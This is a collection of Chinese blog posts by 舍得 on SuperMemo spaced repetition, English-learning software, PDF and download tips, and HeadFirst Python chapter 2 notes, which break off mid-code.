页面载入中...

SuperMemo与遗忘曲线

德国心理学家艾宾浩斯(Hermann Ebbinghaus)对遗忘现象做了系统的研究,他用无意义的音节作为记忆的材料,把实验数据绘制成一条曲线,称为艾宾浩斯遗忘曲线。

曲线表明了遗忘发展的一条规律:遗忘的进程不是均衡的,不是固定的一天丢掉几个,转天又丢几个的,而是在记忆的最初阶段遗忘的速度很快,后来就逐渐减慢了,到了相当长的时候后,几乎就不再遗忘了,这就是遗忘的发展规律,即“先快后慢“的原则。

从艾宾浩斯的研究中,我们得出了下面的结论:

 

保持率

有好事者在解读记忆曲线之后,生生归纳出了如下的复习点:

  • 第一个记忆周期:5分钟
  • 第二个记忆周期:30分钟
  • 第三个记忆周期:12小时
  • 第四个记忆周期:1天
  • 第五个记忆周期:2天
  • 第六个记忆周期:4天
  • 第七个记忆周期:7天
  • 第八个记忆周期:15天

so easy!对不?好些软件开发者就是这么想的,所以他们设计的软件就会是这个样子:每一项记忆内容,一律套上1天、2天、4天……(具体的间隔天数随软件的不同会略有差异)之类的复习安排,乍一看很合理,但实际上这种软件所设计的算法,充其量只是二把刀的水平。尽管跟啥曲线都不应用的人比起来,这些软件还能有点效果。

二把刀们最大的失误在于忽略了以下一些事实:

  1. 记忆材料的难易程度不同,遗忘曲线是不一样的。艾宾浩斯在关于记忆的实验中发现,记住12个无意义音节,平均需要重复16.5次;为了记住36个无意义章节,需重复54次;而记忆六首诗中的480个音节,平均只需要重复8次!你拿同样的复习计划套用到每一项记忆材料上去,对于简单一点的材料来说,浪费了复习时间;而对于较难的材料来说,复习次数可能会不够,从而达不到预期的效果;
  2. 同一材料,对不同的人来说,遗忘曲线也是不一样的。这个事实是对上一事实的引申:因为每个人的学习和生活经历、记忆技巧、理解能力往往各不相同。同样的材料,对我来说可能很难,但换个人,却可能感觉很简单。具体到算法上,又怎么会是千篇一律呢?

 

那SuperMemo怎么来解决这个问题?Wozniak博士从Sebastian Leitner的《How to learn to learn》一书中得到启发,让学习者对记忆材料评估分级,再根据不同的分级来估算相应的遗忘曲线。

学习者在使用SuperMemo的对记忆材料进行评估时,通常按记忆程度分成六级(还有一个三级的简化版本),具体的评估方法可参阅舍得写的《浅析SuperMemo的评分体系》。这种做法的好处是非常明显的。分级可以使不同的记忆材料得以应用不同的遗忘曲线,而把评估权交给学习者自己,则可保证得到的评估级别的准确性和客观性。

在不断的复习中,材料的难度是不断在变化的。举个栗子,你在用SuperMemo复习一个生词的期间,阅读时多次读到了这个生词,无形中相当于在SuperMemo之外额外复习到了,对这个词来说,下次学习的难度自然下降了。

体现在SuperMemo中,那就是评级的变化。哪天这份材料对你来说变简单了,SuperMemo就会把复习间隔拉长一些(在特定的学习期限内减少复习次数),反之则缩小复习间隔。SuperMemo能即时捕捉住材料难度这种动态上的变化,所做的复习安排自然更贴近实际。

所以舍得会说,你在SuperMemo之外的努力,SuperMemo看得到——它会根据你最近一次评分对遗忘曲线进行灵活调整。而那种对记忆材料使用固定复习间隔的软件,碰到这种情形时,难免会造成学习效率上的浪费。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

白底黑字的PDF太刺眼了?教你修改PDF的背景底色

如果你跟舍得一样,经常在电脑上阅读pdf格式的电子书,那么在看书时,难免会有白底黑字看起来太刺眼的烦恼。

如果使用百度阅读器,对于一部分pdf格式(纯文字版或某些扫描版设置过透明背景的),是可以直接用护眼色(豆沙绿)或其它颜色作为背景来阅读的。然而,目前市面上还有相当大一部分的pdf格式书籍,是无法应用护眼色的,这个时候,我们就可以请出Foxit Phantom这款神器了。

打开一个pdf文档后,从工具菜单中选择“选项”命令(或直接使用快捷键Ctrl+K):

SNAG-0005

点击“文档”选项卡,然后依次勾选“改变文档颜色”和“自定义颜色”,点击“页面背景色”后面的小白色块:SNAG-0006

然后设置色调(85)-饱和度(123)-亮度(205),再点击“添加到自定义颜色”,最后点击“确定”。

SNAG-0007

只要这样设置一下,就可以轻松搞定背景色的问题。

Tips: 注意不要勾选“仅更改颜色为黑色或白色的内容”

为什么要选Foxit Phantom?

理由如下:

  • Foxit Phantom比Adobe Acrobat pro更轻量,占用资源少;
  • Adobe Acrobat pro虽然也能实现类似功能,但操作较为繁琐:使用“替换文档颜色”的功能往往解决不了问题,需要进行进“工具”模块进行“添加背景”操作,而且添加成功后,浏览页面时可能会产生卡顿现象,极为不便;

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

SuperMemo每天复习量大的可怕,肿么办?

这是好多童鞋刚开始使用SuperMemo时会碰到的问题。

甫一接触SuperMemo,心里想,感觉好腻害的样子!带着这种兴奋,蹭蹭蹭地往下学,一不留神学了几百条新的内容……

然后……有的人就没有然后了,因为几天过后,被突然摆在眼前的那个大大的复习数吓傻了,嘴里只剩俩字:这尼玛……

当然不是每个人都会酱紫。

舍得先讲讲为什么复习量会这么大,以背单词为例,究其原因有:

  • 学得太快:一个个词如一阵风似滴在眼前刮过,每个词往往只能分到短短几秒钟,亲,一个生词几秒钟你能做什么?好歹停下来想想,我如何记住这个词?有的人学得慢,见到一个生词便老老实实地设法去“啃”掉它,每天用1个小时SuperMemo,啃一个生词需要半分钟到1分钟的话,一天也学不了多少生词,自然复习量不会太大;
  • 内容太难:难度是相对的,但总有人向更高的难度发起挑战。比如某童鞋,明明只具备初中程度的单词基础,却要向GRE词汇发起挑战……亲,你好歹先把高中单词掌握了呀……很多人都懂循序渐进的道理,但真正到该循序渐进的时候,却忘了如何让正确的道理来指导自己的行动。单词这种事,基础词掌握得越多,那些看起来很难的词大多可以形近、音近的熟词加记忆技巧去搞定。这样一来,所谓的难词,在未来一年或两年内所需的总复习次数自然会下降——这意味着整体复习量的下降;
  • 没做当天的巩固练习:每天的巩固练习给你提供了复习当天没掌握词汇的机会,有些童鞋根本不去做,还有些童鞋做是在做,但仅仅是当差事在应付,这又怎么会有好的效果呢?巩固练习背后仿佛站着一位很轴的老师,每次“巩固”一个生词的时候,你若总是不认识,这位老师便会让你一遍一遍不停地重复,直到今天“看到这个词便会想起意思”的程度。曾有小朋友跟我辩论说这巩固练习没用,其实恰恰相反。当你认真、高标准完成当天的巩固练习之后,今后所有的生词、复习时碰到的难词,至少在这一天里,你是能回忆起来的。so,晚上睡觉的时候,你的潜意识会慢慢将这些内容从短期记忆转化成长期记忆。不认真做巩固练习的童鞋,复习量自然会更大一些;
  • 评分太随意:评分是SuperMemo方法中非常关键的一环,对SuperMemo算法来说,这是唯一的一个输入端。你乱评分的话,再优秀的算法也会等同于垃圾:前提是错的,结果又怎么会正确呢(拒绝对这句话钻牛角尖)?认真的评分意味着告诉SuperMemo你对当前所学词汇的掌握情况,不要评得过高,也不要为了希望多复习几次评得过低。每次评分前都要问过自己,这个词,应该评多少分更准确(具体的评分标准请参阅舍得以前写的文章)?随意评分造成评分偏低的时候,无形中增加了不必要的复习量;
  • 孤立的学习:把背单词当成英语学习的唯一,不再去做阅读、不再去背句子,更不要说背经典文章了……现在的生活中,只要你留意,处处都是学习或巩固生词的机会,电影、电视、报纸、杂志、街头的招贴或广告、产品的包装、电脑、手机、网络……看到生词或曾经“背”到过的词汇的时候,为什么不可以停下来想想这个词的意思?真正有心这么去做的童鞋,下次再学习或复习到这些生词的时候,掌握起来自然更快,总复习量当然会降低。这是SuperMemo方法中非常棒的一个特性——你在SuperMemo外对这些生词所做的努力,SuperMemo都会将其“计算”进去。看上去很神奇不是?有的人或许会说“天方夜谭”。细想想就知道了:你每一次在SuperMemo中对所学词汇做的评估(评分),决定了这些词汇今后的复习量。而你之所以会做出这样的评估,不正是受到随时随时学习生词的影响么?

知道原因后,我们便能对症下药了,具体的方法有:

  • 认真对待每一项学习的内容,不要贪快。你的目标应该是:至少我要能在今天答出正确答案。不要说不可能,试想一下,今天就要考到它怎么办?
  • 做好学习规划,设计好课程。如果内容太难,要么想办法攻克它,要么就先放一放;
  • 做好当天的巩固练习;
  • 学习时,根据自己的真实掌握情况来评分;
  • 随时随地学习,你在SuperMemo外的努力 ,SuperMemo”看得见“;

最后,最最重要的一条是:请根据当天的复习量来安排新内容的学习量。假定你每天平均用SuperMemo学习一个小时,复习以前学过的内容便已用去这一个小时,那么,就暂时别学新内容了。如果复习后还剩下10分钟,那就用这10分钟来学习新的内容……这么讲应该能明白吧?换句话说,每天能学习多少新内容,是根据你的复习量的多少来决定的。千万不要一上来就给自己规定:我每天要背100个、200个、300个生词。明明光是复习就已经用去了绝大多数的时间,还要硬着头皮再学几百个生词,怪谁呢?

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

by w4l3XzY3

by w4l3XzY3

标签:

为什么我用了SuperMemo,却没啥效果?

话说,林子大了,什么鸟都有。既然有从SuperMemo中受益匪浅的,自然也会有人抱怨说,为什么我用了SuperMemo,却没啥效果?

为什么?

有句俗话说的好,一分耕耘,一分收获。只要认认真真付出了汗水,收获效果几乎是板上钉钉的事情。

除非你的打开方式不对。

舍得尝试分析一下几种错误的打开方式,一一列举如下:

一、练习次数太少

SuperMemo不是吃个疗程立马见效的特效药。

So, 别指望用少得可怜的几次练习就能换到记忆永存的效果。

事实上,根本没有“记忆永存”那回事。

你要存多久,便得复习多久。

比如你要记住一个生词,拢共也就复习了三、五次,每次还只花个几秒钟,你指望“记忆永存”?

亲,你真想多了。

二、不使用记忆技巧

舍得在学苑中曾发现过这样的童鞋,他说,SuperMemo是“卡片式学习”,和记忆技巧有冲突 。

首先更正一点,”卡片式学习“早已无法概括SuperMemo的全部。

举个最简单的栗子,SuperMemo中的“选择题 ”、“是非题”之类的题型,那还是卡片式么?

你要坚持声称它们的本质都是卡片,好吧……所有的考试形式都是卡片,你赢了。

其次要说的是,SuperMemo和记忆技巧特么滴没有冲突好么?

舍得建议大家在记忆所有材料的时候,尽可能用上一切自己擅长的记忆技巧……技巧用得越合适,该项材料所需的复习次数会越少。

你可以把SuperMemo想像成一个空白的画布,记忆技巧就是颜料,你所要做的,就是选择合适的颜料在画布上画出属于你自己的精彩。

三、没走心

学习时,走没走心,效果截然不同。

从SuperMemo给你安排的复习计划你或许可以略见端倪,仍以背单词为例:

像小和尚念经一样学习的,你会发现生词在几次复习后,仍然和第一次见到时那样新……这是抱怨“SuperMemo没效果”人群中最常见的一个品类。

似乎在他们看来,你不说SuperMemo是神器么?那我用了这神,复习几次,多少总得给点效果吧?

而事实上,即便用“小和尚念经”方式学习,效果还是会有的。

只不过,“念经”时可能要1万次(我随口说的一个数字,表示这数字特么还挺大),而当你每次复习都走心的情况下,可能十几次、几十次后就产生显著的效果。

抱歉,舍得没法给出具体的数字……你得承认这世上的确有天赋这回事。

人是人他妈生的,妖是妖它妈生的。不管是谁生的,想做到记忆力天赋完全一样?——那太难为麻麻们了。

怎么才算走心?

认真面对每一次复习,学习时充分放松,全神贯注,尽可能保持住最好的状态。

对于学习中的每一个词、句子、习题……用上你所掌握的一切记忆技巧,用上你全部的理解力去理解,总之,无所不用其极。

四、课程组织形式不对

这是SuperMemo认识中的又一个误区。

某些童鞋认为,SuperMemo是个“算法”,所以课程怎么折腾,随意。

知道为啥开发者要写那篇《20 rules of formulating knowledge》么?

他就想告诉我们,算法很重要,但知识的组织方式同样重要。

垃圾的课程设计和专业的课程设计,出来的效果又怎么会一样呢?

有的童鞋为了记一个单词,生生把一本辞典里的所有解释都塞进一个页面,仿佛在他看来,塞进去的东西越多,效果便会越好。

然而,理想很美好,现实很残酷。

一个页面内塞的东西越多,记忆效率越低下。

好好去体会一下官方制作的《Extreme English》这个课程吧!一个英文单词,往往只选了一条英文释义,例句也就用了一两句。

并不是越多越好。

课程设计中还有一个重要原则是“按需设计”,以背单词为例,这个词实际应用中怎么“被检索”的,就按这个需求去设计。举栗如下:

  1. 阅读时要给出此单词的中文意思,那么在设计课程页面的时候,应该把单词放在问题区,中文释义放在答案区;
  2. 写或说的时候,需要根据脑中的念头(我们可以暂定它是中文,事实上“念头”本身是没有语言类别属性的)来选择合适的英文单词,那正好与上一条相反;
  3. 把第2条拓展一下,很多童鞋发现,碰到一词多义的时候,根据念头选择“合适”的词是一件非常苦恼的事情。英文和中文并不总是一一对应的……肿么办?舍得给出的建议是,不要只背单词,你还要用SuperMemo多背一些词串——各种词的搭配,不要仅限于课本中的那些词组,然后,尽可能滴多背句子;
  4. 句子的汉译英和英译汉是两种不同的练习,分别对应不同的需求。彼此基本无法取代;
  5. 要听得懂歪果仁说的话,辣么,你的课程中就得有相应的音频元素。同样不要仅仅局限于单词的记忆,你应该选择大量的口语材料来练习。选择材料的时候,不要过份追求发音的标准和精美,恰恰相反,各种口音都要听一听,让自己的听力拥有良好的“兼容性”。没事别给自己限制啥“非英式(美式)不学”,你能保证和你交流清一色是美国人或英国人?更别说这两国人本身就有各种方言。语音的背景音也不要一味追求干净,相反,你应该在训练后期有意识加入一些环境音,以便让自己习惯不同环境的杂音对听力的干扰;

五、你练的是A,要求的却是B

有的童鞋用SuperMemo背单词,有的据说已经背了7、8千单词。

然后他发现:考试成绩没提高;上次和歪果仁说话,竟然啥也听不懂;英文报纸到现在也不会读,单词大多数倒是认识,但摆在一起就抓瞎了;看英文原版电影、电视剧,和没背单词前基本木有区别……

所以他得出结论:擦,SuperMemo还真是没效果。

有效果才怪了。

你练的是A,要求的却是B。

你背的是单词,那就按背的方式去检测效果,不要用歪果仁、英文报纸、英文电影去检测。

同样推理可知,你背了A句,歪果仁说了全然不同的、你还没掌握的B句,自然还是不会。

就好像《Friends》中的Joey,背了个V字头的百科全书,哪知道大家都不跟他聊和V字头词汇有关的话题……

回到背单词上。

你背了7、8千单词——我得说,这7、8千,首先得是复习了足够次数,评分都在“掌握”级别的——那么,拿这些单词来考你,用你课程中的方式,结果会如何?

正常情况下,你应该能答对90%左右。

答不对就有鬼了!

凭啥你每次复习的时候都评出“掌握”级?

每一次复习,都是一次测试好么!

 

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

Aboboo课件编辑器改进建议

Aboboo的课件编辑器在课件制作上已经当得起“不错”二字。不过,以舍得的经验而言,在大批量制作课件的时候,课件编辑器还有些许改进的空间。

先简单介绍一下目前我的使用流程:

  1. 打开一个音频文件;
  2. 将原文复制进去,然后调节音频断点;
  3. 将译文复制进去,对内容进行微调;
  4. 点击完成,点击“从课件导入属性”;
  5. 修改课件属性后点击“下一步”;
  6. 储存完毕后,我通常会点四次“上一步”返回。因为我要继续导入一个新的音频文件,若点“对不起,该课件是私人使用”,会被强制退出课件编辑器,这真是一个糟糕的设定。此时若要继续制作新课程,得在“工具”页面中重新点击“课件编辑器”,新版还有个毛病,课件编辑器窗口位置老是跑偏的,我们又不得不动手动调整窗口位置……这也是我宁愿选择点四次“上一步”按钮的原因。

从上面的流程来看,课件编辑器目前可优化的地方有:

一、直接跳转到相应步骤

左侧的这个类似流程图的玩意不 应该是摆设,应该点击后能直接跳转到相应的步骤,比如点击”打开音频文件“,就能弹出文件选择窗口,选完后即可进入新课件的编辑制作。我没记错的话,以前的版本应该就是这么设计的,估计改版的时候,”不小心“动到相应的方法,导致这个功能被太监了。

SNAG-0014

或者在最后的“对不起,该课件是私人使用”的选择页面中,加入一个“打开mp3/wav文件制作课件”的按钮,以便大家进行连续制作课件的操作。

二、音频文件打开后不必自动播放

现在的设计是,当音频文件打开后会自动播放,从上面的流程可知,我需要先复制原文&译文,再开始断点微调操作。所以自动播放是没有必要的。我不得不多点一次暂停键。当然也有其他的课件作者需要自动播放,那不妨交给选项来控制好了。

三、编辑时一律从”原文“开始

如果我按上面流程第6步来操作,点四次返回起点,再载入音频时,编辑通常会从”译文“开始(即使将编辑器关掉重来也会从“译文”开始)。这个对”原文、译文“状态的记忆我感觉没有必要,一律改为从原文开始较好。或者干脆交给选项来控制。

四、波形窗口应该允许放大

就像在学习状态那样,波形窗口应该允许放大,在对断点进行微调时,放大的波形更有利于我们快速找到最佳断点。

五、从外部粘贴文本时,最好能自动分离原文和译文

如果不能自动分离,我们不得不分两次粘贴,第二次粘贴时必然要切换到其它窗口,然后做复制、切换窗口、粘贴等操作,无形中多了好几个步骤。若能自动分离,效率会高一点。

分离原文译文可以采用如下的机制:

  • 原文和译文在同一行,中间用制表符隔开;
  • 原文和译文各占一行;
  • 原文和译文在同一行,中间没有分隔符;

建议采用前两种,并在课件编辑器窗口中给出一个ComboBox,以便大家选择常用的方式。

六、增加“自动记忆课件属性”功能

对于经常连续制作课件的我们来说,课件属性是大同小异的,通常只要改一个课件名称即可,所以,若能自动记忆课件属性,无疑我们的制作效率还会高一点点。

没有这个功能的话,我们不得不使用“从课件导入属性”来载入,再修改课件名称,因为课件中的作者、分类之类的属性通常是一样的。若要手动一项项输入,那个效率只会更低。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

少折腾 多练习

一转眼,舍得学苑从开办至今,已经进入第八个年头了。

凭借学苑的优势,舍得有幸见识了来自五湖四海的英语学习者的风范。见得多了,舍得潜意识中会给他们分一分类。

其中最突出的一个类型,或许是出于好玩,舍得将其命名为折腾流。

顾名思义,这个折腾流擅长的就是折腾——将主要的精力用在研究“哪个方法更好”上了。大概在他们心中,学到“世界上最先进的方法”才是第一要务。

于是乎,时间就大量用到方法的探索上。

如果他们是专业哪怕是非专业的英语研究者,这种精神自然是值得鼓励的。

然而,折腾流中绝大多数童鞋,仅仅是英语学习者,中间更有一大部分,只能称之为英语初学者。

他们在拼命或不拼命地研究着“哪个方法更牛x”,一旦认定当前接触的方法牛x指数不够,当然是要丢到一旁,再继续调动时间、精力去扑下下一个方法。一副不搞到“最先进方法”誓不罢休的模样。啧啧,这精神当真是要得!不过舍得每每看到此情此景,眼前总会浮现那只掰玉米猴子的高大形象。

这些童鞋在各种方法间折腾来、折腾去,看起来似乎提升了不少,若要说起英语技能上的提升,原地踏步恐怕都会成为一个褒义词了。他们忘了,英语学习本身才是最需要时间、最需要精力的。

一叶障目,不是么?

这叶……就是他们正在折腾得不亦乐乎的方法,仿佛只要掌握了最最最最牛x的方法,他们便能一夜之间神功附体、功力大涨,立马变成顶尖高手。

问题是,这不是武侠世界。

英语学习的世界里,没有人能给你来个灌顶大法,让你一夜间成为叼炸天的高手滴。

别把方法看得太高了。

方法再牛x,也得你先投入大量时间去练习,慢慢地,量变才有可能转为质变。

我们不妨拓展一下,做个mud版的小实验,来看得更清楚一些:

参与实验的人数假定为100人,总共配了100个厨师,其中有特一、特二、特三、一级、二级、三级……甚至还有没级的、纯属野路子的,要求大家在100个时间单位内学习厨艺,最后来一场评比,看谁的厨艺更高。

所有的厨师不能直接告诉你他是哪一级的,大家得自己去分辨。

我们再来设定这样的两个实验者:

小A童鞋花了10个时间单位选了位二级厨师来学习,花了90个时间单位练习厨艺;

小B童鞋花了90个时间单位,终于选到一位特一级的厨师,然后在特一级厨师的指导下,花了10个时间单位来练习厨艺;

你觉得最后小A和小B谁会胜出?

厨师就是折腾流正在使劲折腾的方法,厨艺的练习对应的则是英语学习本身。

你还要继续花费时间折腾么?你还要当那个掰一路扔一路的猴子么?

醒醒吧,少点折腾,多练习吧!

 

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

Tell Me More精讲之语法训练篇(一)

前几天看到舍得学苑淘宝专卖店的客服人员转来一份聊天记录,在聊天中客服小丁无意中提起Tell Me More(TMM)中的语法训练,客户顿时惊讶,Tell Me More中有语法的训练么?

这个还真的可以有。

今天舍得就带大家去洛克洛克。

直接进TMM的漫游模式,下方左起第四个按钮就是语法训练,点击它便可看到如下的页面:

SNAG-0011

从上图可以看到它分为资源和练习两个大类,我们先简单浏览一下资源大类下的语法说明:

SNAG-0012

这基本上可看作是TMM内置的一本语法工具书了,重要的是检索起来极为方便,更关键的一点是,TMM将它与绝大多数练习关联到了一起,这个舍得呆会讲到练习的时候会顺带介绍。

“练习”大类中包含了七个类型的练习,汉化不够准确,大家嫑被误导。舍得先来介绍个大概:

  • 填空:其实上应该是选择题,通常的做法是给一个句子,答案和n个干扰词混在一块,要你去把它们选出来,选项往往有6个之多;
  • 完形填空:这个自然也是汉化错了,准确的翻译应该是配对题。比如给你四个句子,每个句子抽出一个词,要你去搞个拉郎配,把抽出的词配回去……
  • 单词和功能:这个译得算是中规中矩,但没法让你直观滴知道这到底是个神马东西。从流程上讲,就是给你一些文本,你要将文本中的词按照指定的功能归一下类。唔,这文本中的单词好比是一群人,干活之前,你可以大吼一声:男人站左边,女人站右边,太监站中间……吼完之后,麻烦你手动把男人、女人、太监一个个挑出来,放到对应的筐子中,任务完成。
  • 语法练习:人家就是这个命名的,怪不到翻译头上。它有个小标题叫“根据提示修改单词”——很赞的一个练习。8过准确滴讲,它的操作对象是一个个短语。做过初中英语课本后的练习没?太像了!给你一个参照的模板,你来照这个模板依样画葫芦吧!看起来灰常简单,当你老老实实照此办理之后,语法中的某个小细节自然而然会在你大脑里留下一道浅浅的烙印,通过不断地反复练习让烙印加深,深到似乎能逐渐融入你的血液,这个小细节就变成你的了。这才是语法修炼的正确道路,那些死记硬背语法规则的通通弱爆了!
  • 句子练习:小标题叫“按照提示修改句子”。没错,这与上一个练习类型是配套的,只是将对象从短语升级成了句子,仍然是“依样画葫芦”的画风,依旧很赞的样子。
  • 听写模式:模式二字略有些不知所谓,直接去掉更妥。浅白地讲,这特么就是一个听写题,操作对象通常是句子。流程是酱紫滴:一个页面内给出6个左右的句子——你自然是看不到的,每个句子有对应的录音,你只要将它一一听写出来就OK了。这个类型,考得不仅是语法,听和写都练到了。听写的难度并不大,如果你做过当前级别的其它练习,你会发现,那些句子你原本就很熟悉。而听写熟悉的句子,你的注意力或会在有意无意间,集中在听力上,你的潜意识会悄悄吸收句子自身携带的语法知识点……这个或许就是听写被纳入“语法训练”的主要原因;
  • 文本翻译:又一个汉化错误。这特么根本不是翻译,而是给你一段文本,让你按特定的要求进行改写,比如,将文本中的n个句子从比较级改写成最高级……要舍得来勉强总结一下的话,这可算是4、5两项练习的升级版,只是不再给你参照物,操作对象也从一个句子升级到了多个句子。

to be continued……

 

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

如何快速下载“过期”的电驴资源?

电驴是什么,想必不需要舍得做过多的介绍了吧?

网上有很多比较稀缺的资源,是由电驴提供的。但由于电驴本身的特性,有些资源往往会连接很久也没有合适的源,这便是舍得所说的过期。

如何快速下载到这些“过期”的资源呢?

舍得最近用的一个比较高效的方法是,用百度云做跳板。这一招应该也有一些朋友早已在使用,但舍得相信,肯定还有一些对此不了解的朋友。so,这篇文章便是为他们写的。

打开百度云管家——竭诚推荐舍得提供的不限速版:【十二月福利】百度云管家5.3.6不限速版

然后点击“离线下载”按钮:

SNAG-0007

将电脑链接粘贴进去:

SNAG-0006

再点击“开始下载”就可以了。

SNAG-0005

“离线下载任务列表”窗口会自动弹出,下载完成的话,任务后面自然会被标上“下载成功”的字样。然后,你便可以用云管家从自己的网盘中下载这份资源了。这个时候,下载的速度就是由客户端来决定了。使用不限速的版本下载一些大文件的时候,百兆光纤环境下达到2-3MB/s很正常。

当然,下载电驴资源的方法并非这一种。你也可以用其它的客户端,比如emule,比如迅雷。但这些客户端对一些过期资源并没有太好的方法,挂在那里一两天都下载不到东西也是常有的事。尤其是迅雷,部分电驴资源发布的时候便会封掉迅雷的客户端连接。

使用迅雷的离线下载或许能突破电驴的封杀,下载的速度也会有一定的保障。但前提是,你得花钱购买迅雷的会员。如果你平时下载的东西不多,舍得觉得没有必要给迅雷上供,尽管每月几十块钱也不多。

当然,使用百度云作跳板的方法并不是百试百灵。但大部分冷门资源都可以通过它下载,推荐大家尝试。

使用过程中,还需要注意一件事。有些电驴链接粘贴到云管家时,会出现“链接格式有误”的提示:

SNAG-0008

肿么办捏?
通常这个时候,我们要对电驴链接作一下URL解码处理。

在百度中输入“url编码”,随意找一个“URL转码”的网站,比如这个:

url转码 – 在线编码转换

将电驴链接贴到右边辣个框框中:

SNAG-0009

然后点击“URL解码”按钮,再将左边框框中解码出来的链接复制并粘贴到云管家里——你便可以搞定收工了。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

《HeadFirst Python》第二章学习笔记

现在,请跟着舍得的脚步,打开《HeadFirst Python》第二章。

一章的内容其实没有多少,多练习几次就能掌握一个大概了!

《HeadFirst Python》的第二章设计得很有意思。它直接从制作一个模块入手,顺带讲了模块的导入,传统的书可不会这么搞。

不过书中关于编辑器的观点略显陈旧。

最好的编辑器是什么? 别用书中推荐的Python自带IDLE,在现阶段,请使用Jupyter Notebook来进行各项练习。

等学完这本书后,你可以选择PyCharm/Eric6/WingIDE进行Python的开发,舍得将会带你开启那个新的篇章。

Jupyter Notebook是个堪称神器级别的工具,舍得现在开发的过程中,还经常用它来验证一些构思中的代码,尤其在学习一些新模块的时候更是如此。

上课。
[in]:

    # 注释代码
    # 第2章 p37
    # 单行注释推荐使用注释内容前面加"# "号的方式;
    # 多行注释请使用一组三重引号,如:
    """
    你要对当前代码进行注释/说明的内容
    """

[in]:

    # 打开记事本类程序(推荐使用emeditor), 将下面的内容复制进去;
    # 然后另存为nester.py, 文件编码请使用utf-8;
    # 新建一个nester文件夹,将nester.py放进该文件夹;
    """
    这是"nester.py"模块,提供了一个名为print_lol()的函数.
    此函数的作用是打印列表.
    """
    def print_lol(the_list): 
        """
        此函数取一个位置参数,名为the_list,它可以是任何形式的列表.
        所指定的列表中的每个数据项会(递归地)输出到屏幕上,每个数据项各占一行.
        """
        for i in the_list:
            if isinstance(i, list):
                print_lol(i)  # 如果是列表, 那么调用"自己"再次处理这个列表
            else:
                print(i)

[in]:

    # 准备发布
    # 第2章 p40
    # 将下面的代码复制到emeditor中;
    # 文件另存为setup.py, 文件编码请使用utf-8;
    # 将该文件存放到nester文件夹下
    # 单引号内的内容可以随意发挥, 注意观察文件的格式,尤其是=/,/()/[]和单引号的使用
    # 注意下面的代码不要在Jupyter中运行
    from distutils.core import setup
   
    setup(
        name = ‘nester’,
        version = ‘1.0.0’,
        py_modules = [‘nester’],
        author = ‘hfpython’,
        author_email = ‘xxx@xxx.com’,
        url = ‘
http://www.emagic.org.cn’,
        description = ‘A simple printer of nested lists’,  
    )

[in]:

    # 构建发布/导入模块
    # 第2章 p41
    # 在nester文件夹下打开Dos命令提示符
    # 不知道如何操作的童鞋, 可以参考我写的《Python起步》,或自行百度
    # 在Dos命令提示符下输入: python setup.py sdist
    # 生成dist文件夹后, 继续在Dos命令提示符下输入: python setup.py install
    # 如果你电脑中装有everything的话,可以快速搜索一下nester.py,
    # 便可以发现c:\python34\site-packages有了这个文件,这表示模块已经安装成功了
    # 用import命令来导入它:
    import nester

[in]:

    # 使用模块/命名空间
    # 第2章 p45
    # 导入后,要在print_lol前加上"nester.",才能使用模块中的这一函数
    # 所谓命名空间就是用来告诉程序,你所使用的这个函数是从哪来的
    cast = [‘Palin’, ‘Cleese’, ‘Idle’, ‘Jones’, ‘Gilliam’, ‘Chapman’]
    nester.print_lol(cast)  # 如果导入时用"from nester import print_lol",
    # 前面就不用(也不能)加"nester."

[out]:

    Palin
    Cleese
    Idle
    Jones
    Gilliam
    Chapman
   

[in]:

    # 内置函数
    # 第2章 p54
    # range: 生成从0直到(但不包含某个数)的数字列表.开发过程中会经常用到.看实例来体会吧
    # 你可以自己脑洞一下range的用法, 比如,把4换成"len(cast)"
    for num in range(4):
        print(num)

[out]:

    0
    1
    2
    3
   

[in]:

    # 改进nester模块
    # 第2章 p56
    # 修改print_lol函数,记得按Alt+Enter运行
    """
    这是"nester.py"模块,提供了一个名为print_lol()的函数.
    此函数的作用是打印列表.
    """
    def print_lol(the_list, level): 
        """
        此函数取一个位置参数,名为the_list,它可以是任何形式的列表.
        所指定的列表中的每个数据项会(递归地)输出到屏幕上,每个数据项各占一行.
        第2个参数用来在遇到嵌套列表时插入制表符.
        """
        for i in the_list:
            if isinstance(i, list):
                print_lol(i)  # 如果是列表, 那么调用"自己"再次处理这个列表
            else:
                for tab_stop in range(level):
                    print("\t", end=”)
                print(i)

[in]:

    # 用新的print_lol来打开movies列表
    # 要传入一个新的参数,我们用0试试
    movies = ["The Holy Grail", 1975, "Terry Jones & Terry Gilliam", 91,
              ["Graham Chapman", ["Michael Palin", "John Clseese",
                                "Terry Gilliam", "Eric Idle", "Terry Jones"]]]
    print_lol(movies, 0)

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
   

::

    —————————————————————————

    TypeError                                 Traceback (most recent call last)

    <ipython-input-22-c989b21ce795> in <module>()
          3           ["Graham Chapman", ["Michael Palin", "John Clseese",
          4                             "Terry Gilliam", "Eric Idle", "Terry Jones"]]]
    —-> 5 print_lol(movies, 0)
   

    <ipython-input-21-e6f44022d658> in print_lol(the_list, level)
         14     for i in the_list:
         15         if isinstance(i, list):
    —> 16             print_lol(i)  # 如果是列表, 那么调用"自己"再次处理这个列表
         17         else:
         18             for tab_stop in range(level):
   

    TypeError: print_lol() missing 1 required positional argument: ‘level’

[in]:

    # 跟踪代码
    # 第2章 p58
    # 看到上面的出错信息,不要紧张,一行行看反馈的信息
    # 注意这句:"print_lol() missing 1 required positional argument: ‘level’"
    # 注意它标出的第16行,问题应该出在这一句.
    # 在函数内部调用自己的时候, 少传了一个level参数
    # 继续来修改
    """
    这是"nester.py"模块,提供了一个名为print_lol()的函数.
    此函数的作用是打印列表.
    """
    def print_lol(the_list, level): 
        """
